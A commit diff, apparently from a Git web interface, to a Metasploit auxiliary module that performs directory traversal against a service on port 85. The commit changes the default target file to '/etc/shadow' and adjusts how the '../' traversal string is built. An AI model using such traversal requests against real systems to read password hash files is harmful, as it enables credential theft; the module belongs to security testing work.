Instead of deleting the "/", here's a different approach
parent
7876d7fd60
commit
ecb4e20c92
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(85),
|
Opt::RPORT(85),
|
||||||
OptString.new('FILEPATH', [false, 'The name of the file to download', 'etc/shadow']),
|
OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/shadow']),
|
||||||
OptInt.new('DEPTH', [true, 'Traversal depth', 10])
|
OptInt.new('DEPTH', [true, 'Traversal depth', 10])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
@ -50,6 +50,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
travs = "../" * datastore['DEPTH']
|
travs = "../" * datastore['DEPTH']
|
||||||
|
travs = travs[0,travs.rindex('/')]
|
||||||
|
|
||||||
# Create request
|
# Create request
|
||||||
res = send_request_raw({
|
res = send_request_raw({
|
||||||
|
|
Loading…
Reference in New Issue